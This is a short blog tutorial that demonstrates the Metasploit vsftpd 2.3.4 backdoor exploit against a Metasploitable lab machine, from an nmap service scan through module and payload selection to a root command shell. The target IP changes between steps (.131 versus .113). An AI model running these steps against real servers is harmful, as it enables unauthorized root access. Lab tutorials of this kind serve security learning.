How to find Vulnerability of any systems or Servers and Compromised



AoA friends in this article I 'll tell you how hackers find vulnerability in any system and exploit. In this way I am using metasploitable machine for Exploitation.

Disclaimer

This article is Just for educational purpose Author does'nt promote illigal activity


As you can see I am using metasploitable machine for Exploitation in other terminal first need to scan victim system's Ip address, let's scan
Using command:
nmap 192.168.110.131 -sV
Here -sV is service version
and 192.168.110.131 victim ip address


Now Results shown as below


You can see all open ports but we 'll exploit port 21/tcp version vsftpd 2.3.4

First we start metasploit for payloads by typing command:
msfconsole 
and hit enter 2nd search payload for ftp service
msf5 > search ftp


Here there is a lot of payloads but we need vsftpd payload by typing command
msf5 > search vsftpd
And 2nd of you can see exploit/unix/ftp/vsftpd_234_backdoor
Available

Now type
Show payloads


Here cmd/unix/interact payload available and we ll use it

set payload cmd/unix/interact


For payload requirements type command show options we use RHOST


RHOSTS is victim ip address so we set payload by typing command

set RHOSTS 192.168.110.113



We ll exploit payload by typing command
exploit or run
As you can see
Command shell session 1 opened
It mean we hacked victim machine


By typing ls command you can see all directories of Target system exist here


By typing whoami command it ,ll show that I am a root user

This article was v.interested, hackers use this method to hack your system and Servers 
If you really like this article please share with friends for better information
THANK YOU


No comments:

Post a Comment

Powered by Blogger.

Main Tags

Face Recognition System with Python Open CV

  Click Here to Download  Source Code: Download  Now

Search Here

About Us

About Us
If you really like this blog please follow us and read many more about Cyber security.

Categories

Popular Posts

Pages